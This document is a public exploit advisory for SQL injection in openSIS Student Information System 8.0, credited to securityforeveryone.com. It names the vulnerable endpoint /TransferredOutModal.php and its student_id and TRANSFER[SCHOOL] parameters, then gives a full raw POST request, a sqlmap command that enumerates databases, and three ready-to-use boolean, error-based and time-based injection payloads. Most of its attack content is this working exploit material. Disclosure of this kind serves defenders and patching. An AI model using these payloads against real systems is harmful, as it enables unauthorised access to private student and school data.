openSIS Student Information System 8.0 - 'multiple' SQL Injection

# Exploit Title: openSIS Student Information System 8.0 - 'multiple' SQL Injection
# Date: 26/12/2021
# Exploit Author: securityforeveryone.com
# Author Mail: hello[AT]securityforeveryone.com
# Vendor Homepage: https://opensis.com
# Software Link: https://opensis.com
# Version: 8.0 Community Edition
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

'''

DESCRIPTION

A SQL injection vulnerability exists in OS4Ed Open Source Information System Community v8.0 via the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to /TransferredOutModal.php.

The vulnerability is found in the "student_id" and "TRANSFER{SCHOOL]" parameters in POST request sent to page /TransferredOutModal.php.

Example:

POST /TransferredOutModal.php?modfunc=detail

Post Data: student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
Host: localhost
User-Agent: user-agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: cookie
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

student_id=1[SQL]&button=Save&TRANSFER[SCHOOL]=[SQL]&TRANSFER[Grade_Level]=5

Example sqlmap Command: sqlmap.py -r request.txt --level 5 --risk 3 -p student_id --random-agent --dbs

Example Payloads:

Payload1: student_id=(SELECT (CASE WHEN (2108=2108) THEN 1 ELSE (SELECT 5728 UNION SELECT 5943) END))&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
Payload2: student_id=1 AND (SELECT 5604 FROM(SELECT COUNT(*),CONCAT(0x7162766a71,(SELECT (ELT(5604=5604,1))),0x717a6a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
Payload3: student_id=1 AND (SELECT 6111 FROM (SELECT(SLEEP(5)))JtuC)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5


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